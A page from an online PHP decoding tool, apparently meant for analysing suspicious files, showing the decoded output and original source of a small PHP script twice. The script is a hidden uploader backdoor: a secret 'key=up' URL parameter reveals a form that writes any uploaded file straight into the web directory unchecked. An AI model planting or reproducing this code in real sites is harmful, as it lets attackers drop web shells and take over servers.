Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if ($_GET['key'] == "up") { echo '<style type="text/css"> body { color: black; ..

Decoded Output download

<?php 
if ($_GET['key'] == "up") { 
echo '<style type="text/css"> 
body { 
color: black; 
background-color: white; 
font-weight: inherit; 
} 
h1,h2{ 
background-color: #ffffff; 
color: #000000; 
text-align: center; 
} 
h3,h4,h5{ 
color: black; 
text-align: center; 
} 
</style><b><br> 
<h1> Uploading </h1> 
<br><br> 
<center> 
<font color:"blue"> 
<span style="font-family: monospace;"> 
<span style="color: rgb(255, 255, 255);"> 
<br><br> 
<font color="black"></font> 
<br></b>'; 
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50"> 
<input name="_upl" type="submit" id="_upl" value="Upload"> 
</form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) 
{ 
echo '<b>success!</b><br><br>'; 
} 
else 
{ 
echo '<b>failed!</b><br><br></font>'; 
} 
}} 
?>  

Did this file decode correctly?

Original Code

<?php
if ($_GET['key'] == "up") {
echo '<style type="text/css">
body {
color: black;
background-color: white;
font-weight: inherit;
}
h1,h2{
background-color: #ffffff;
color: #000000;
text-align: center;
}
h3,h4,h5{
color: black;
text-align: center;
}
</style><b><br>
<h1> Uploading </h1>
<br><br>
<center>
<font color:"blue">
<span style="font-family: monospace;">
<span style="color: rgb(255, 255, 255);">
<br><br>
<font color="black"></font>
<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50">
<input name="_upl" type="submit" id="_upl" value="Upload">
</form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']))
{
echo '<b>success!</b><br><br>';
}
else
{
echo '<b>failed!</b><br><br></font>';
}
}}
?>  

Function Calls

None

Variables

None

Stats

MD5 799235180728291373bc9bb031d197fa
Eval Count 0
Decode Time 96 ms